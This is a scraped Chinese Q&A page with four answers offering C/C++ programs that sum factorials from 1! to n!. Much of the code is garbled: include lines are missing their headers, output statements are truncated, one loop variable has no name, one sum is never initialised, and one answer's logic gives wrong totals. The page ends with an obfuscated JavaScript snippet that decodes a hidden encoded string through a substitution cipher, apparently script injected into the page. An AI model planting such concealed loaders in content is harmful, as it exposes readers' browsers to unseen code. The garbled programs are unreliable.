计算1!+2!+3!...+(n-1)!+n!。设计求解该问题的C语言程序,阶乘的计算使用递归函数实现

程序运行后输入n,当n=5时输出结果如下图所示
2025-03-15 09:48:19
推荐回答(4个)
回答1:

用递归并不是很好,每次递归调用都要有一定的时间和空间的开销,当n不大时还可以,当n大到一定程度就会出现堆栈溢出,程序崩溃。
作为练习或是算法描述是可以的。
该问题如果不用递归算法实现阶乘可以做的更有效率。

递归算法:

#include
using namespace std;

long int fun(int n)
{
if(n==1)return 1;
return ((long int)n)*fun(n-1);
}

int main()
{
long int S=0;
int n;
cout<<"请输入一个正整数"< cin>>n;
for(int =1;i<=n;i++){
S+=fun(i);
}
cout<<"S="<}

非递归算法

#include
using namespace std;

int main()
{
long int S;
long int T=1;
int n;
cout<<"请输入一个正整数"< cin>>n;
for(int i=1;i<=n;i++){
T=(long int)i*T;
S=S+T;
}
cout<<"S="<}

回答2:

#include
#include
fun(int x);
int main(void)
{
char *pszBuff = NULL;
int a;
int i=1;
int sumResult = 0;
printf("input a int number::");
scanf("%d", &a);
for(i=1;i<=a;i++)
{
int tmp = fun(i);
sumResult = sumResult + tmp ;
printf("%d!=%d, 1-%d的阶乘的和为%d\n",i,tmp,sumResult );
}
return 0;
}
int fun(int x)
{
int ret;
if(x == 1) return 1;
ret = fun(x-1)*x;
return ret;
}

回答3:

#include
void main()
{
int n,i,j;
long num=1,sum=0;
printf("input a int number::");
scanf("%d",&n);
for(i=1;i<=n;i++)
{
for(j=1;j<=i;j++)
{
num*=j;
sum+=num;
}
printf("%d!=%d, 1-%d的阶乘的和为%d\n",i,num,i,sum);
num=1;
sum=0;
}
}

回答4:

#include
int jiecheng(int x)
{
int sum=1;
int i;
for(i=1;i<=x;i++)
sum=sum*i;
return sum;

}
main()
{
int n,i,j,sum=0;
printf("求阶乘\n");
printf("请输入一个数N:N<10\n");
scanf("%d",&n);
for(i=1;i<=n;i++)
{ printf("%d!的阶乘为%d ",i,jiecheng(i));
for(j=1;j<=i;j++)
sum=sum+jiecheng(j);
printf(" 1-%d!的阶乘和为%d\n",i,sum);
sum=0;
}

}

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMI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